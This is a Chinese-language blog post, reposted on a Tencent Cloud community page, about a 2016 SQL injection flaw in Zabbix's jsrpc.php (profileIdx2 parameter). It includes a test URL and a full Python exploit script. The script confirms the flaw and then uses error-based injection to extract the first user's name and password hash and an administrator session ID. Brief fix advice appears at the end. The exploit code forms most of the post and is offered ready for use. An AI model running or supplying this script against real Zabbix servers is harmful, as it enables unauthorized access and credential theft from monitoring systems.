前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >zabbix最新SQL注入漏洞+EXP

zabbix最新SQL注入漏洞+EXP

作者头像
逸鹏
发布2018-04-11 09:37:10
1.4K0
发布2018-04-11 09:37:10
举报
文章被收录于专栏:逸鹏说道逸鹏说道逸鹏说道

最近zabbix又出大事了,高危的SQL注入漏洞,影响V3.0.4以下所有版本,请小伙伴及时修复。

漏洞概述:

zabbix是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

影响程度:

攻击成本:低

危害程度:高

是否登陆:不需要

影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)

漏洞测试

在您的zabbix的地址后面加上如下url:

jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

返回页面出现"You have an error in your SQL syntax" 则证明存在SQL注入漏洞。

漏洞EXP:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2016/8/18
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import urllib2
import sys, os
import re


def deteck_Sql():
    u'检查是否存在SQL注入'
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(url + payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
        if key_reg.findall(response):
            return True


def sql_Inject(sql):
    u'获取特定sql语句内容'
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
        sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
        results = result_reg.findall(response)
        if results:
            return results[0]


if __name__ == '__main__':
    # os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 60 + '+'
    print '\t   Python Zabbix<3.0.4 SQL注入 Exploit'
    print '\t    Blog:http://www.waitalone.cn/'
    print '\t\t   Code BY: 独自等待'
    print '\t\t   Time:2016-08-18'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 2:
        print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址'
        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
        sys.exit()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from  users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    if deteck_Sql():
        print u'Zabbix 存在SQL注入漏洞!\n'
        print u'管理员  用户名密码:%s' % sql_Inject(passwd_sql)
        print u'管理员  Session_id:%s' % sql_Inject(session_sql)
    else:
        print u'Zabbix 不存在SQL注入漏洞!\n'

漏洞修复:

1、禁用后台用户guest账号(注入要求此账号启用)。

2、升级到zabbix的最新版

文章来源:http://www.secpulse.com/archives/51168.html 略有改动,增加exp

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-08-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 我为Net狂 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞概述:
  • 影响程度:
  • 漏洞测试
  • 漏洞EXP:
  • 漏洞修复:
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档